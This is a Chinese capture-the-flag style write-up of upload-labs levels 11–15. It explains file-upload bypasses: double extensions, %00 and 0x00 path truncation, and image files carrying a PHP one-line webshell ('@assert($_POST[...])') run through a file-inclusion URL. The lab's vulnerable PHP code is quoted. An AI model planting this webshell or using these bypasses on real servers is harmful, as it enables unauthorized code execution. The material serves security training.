upload-labs通关(Pass11-Pass15)

Pass11(黑名单之双后缀名绕过)

直接上传1.php,却发现文件上传成功
在这里插入图片描述
进入服务端查看发现把我们文件名的php去掉了。
在这里插入图片描述
这样的话,盲猜可以用双写绕过
在这里插入图片描述
查看服务端成功上传
在这里插入图片描述
代码正常解析
在这里插入图片描述
代码分析:
本关代码在文件名中出现黑名单中的字符串时,用str_ireplace()函数替换为啥也没有,但是这个替换它不迭代,所以采用套娃的方式双写敏感后缀就可以绕过了。
在这里插入图片描述

Pass12(白名单校验之%00截断)

上传1.php后,提示只允许上传…文件,说明本关是白名单过滤
在这里插入图片描述
白名单的话,如果没有文件包含漏洞的话,是很难上传的。我们先上传一个正常的图片查看一下上传路径,图片路径为
http://www.upload:93/upload//7220220815181147.jpg

但我们抓包查看,请求报文的url中有个save_path参数,文件上传到服务器后的位置似乎是由这个参数决定的,这就给了%00截断发挥的机会。
在这里插入图片描述
攻击代码如下
在这里插入图片描述
但由于%00截断对PHP版本和配置是由要求的:

  1. PHP版本小于5.3.29
  2. php.ini中magic_quotes_gpc = Off

这里推荐两篇%00截断的文章:
00截断与%00截断
过气的00截断

代码分析:
从下面这段代码的第3和第4行可知,文件名后缀白名单检测的位置是filename参数值,而从第6行可知,本关文件最后保存的路径是由url中save_path的值和一个随机数以及通过filename传入的文件名后缀组成的。所以本关具备%00截断的条件,即后缀白名单检测位置和最终保存位置是通过不同参数传入的。

在这里插入图片描述

Pass13(白名单校验之0x00截断)

上传1.php后,感觉和上一关一样的白名单过滤
在这里插入图片描述
抓取报文后发现本关和上一关一样,请求报文中有个save_path参数,只不过位置不在url中,而是作为请求正文的一部分。那还是试试0x00截断。
在这里插入图片描述
像下图这样,filename设置为sh.jpg,save_path的值改为 …/upload/sh.php后面跟一个空格或者任何你知道它的十六进制ascii码的字符作为定位符。
在这里插入图片描述
在repeater中Request报文的Hex选项卡中找到刚刚那个定位符,将图中的20修改为00,发送后发现文件上传成功
在这里插入图片描述
代码分析:
睿智的你看到本关的代码一定有一阵熟悉感涌上心头。本关代码和上一关差不多,不多说了,就组装$img_path的时候取save_path的值的方法不一样,上一关是$_GET[‘save_path’],这关是$_POST[‘save_path’]。
在这里插入图片描述

Pass14(图片马绕过)

这关要求是上传图片马,然后用文件包含漏洞来利用
在这里插入图片描述
那就先做图片马吧。我分别做了jpeg,png和gif格式的图片马,方法是从网上分别下载三种格式的图片,然后用HxD打开(其实用notepad++打开也行),在结尾加上一句话木马

<?php @assert($_POST[pass14]);?>

比如jpg格式的如下,其他两种格式的类似
在这里插入图片描述
使用图片马上传,显示上传成功
在这里插入图片描述
在本关页面“文件包含漏洞”几个字上面点一下,可以得到文件包含漏洞所在url和代码,从如下代码可知,图片马可以通过file参数包含。
在这里插入图片描述
再获取到图片地址就可以连webshell了。图片地址可以通过查看网页源代码,或者在图片上右键复制图像链接获得。
把上面两个信息拼接一下,发现需要连接的url是
http://www.upload:93/include.php?file=./upload/5420220815183222.jpg
成功解析
在这里插入图片描述
代码分析:
本关定义了一个getReailFileType()函数,用以检测上传的文件的头两个字节,以此判断文件是否合法,并以此决定上传后的文件的后缀名。

看了代码之后,我发现这关我自己做复杂了,其实一句话木马不需要插在真实图片里面,只要在一句话木马之前加上jpg或者gif或者png文件的前两个字节就行。

不过将木马插在真实图片中当然更好,更通用。

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

Pass15(图片马绕过)

这关我用Pass-14的三个图片马试了一下,都是可以成功上传和连接的,所以这关就不再重复说了,通关过程详见Pass-14。

代码分析:
本关用getimagesize()函数获取图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度,并将其取出的文件类型信息$info[2]与文件后缀白名单$types进行对比,判断上传的文件是否合法,并将$info[2]作为上传后的文件的后缀名。

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值